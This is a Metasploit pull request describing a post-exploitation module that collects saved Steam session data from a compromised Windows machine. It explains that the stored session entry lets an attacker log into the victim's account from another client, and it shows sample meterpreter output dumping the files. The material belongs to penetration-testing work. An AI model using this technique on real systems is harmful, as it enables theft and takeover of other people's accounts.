rapid7/metasploit-framework — pull request #1146 by nikolai-r (2012-12-09 00:34:44+00:00)
Title: Added Steam client session collector post module

Collect stored session information from a Steam client that has username/password saved.

Steam stores saved session information in config/config.vdf. Most importantly is an entry in ConnectCache which appears to be some sort of hash of the account paired to a sessionid. This K,V is all that is needed to login in to a steam account from another steam client.

This module checks to see if Steam password is saved and if so extracts the configs needed use the account.

```
meterpreter > run post/windows/gather/credentials/steam OUTPUT_FOLDER=/tmp

[*] Checking for Steam in: C:\Program Files (x86)\Steam\config\
[*] Found SteamAppData, checking for RememberPassword=1.
[*] RememberPassword is set! Accountname is testaccount9372349057
[*] Files dumped to /tmp
meterpreter >
```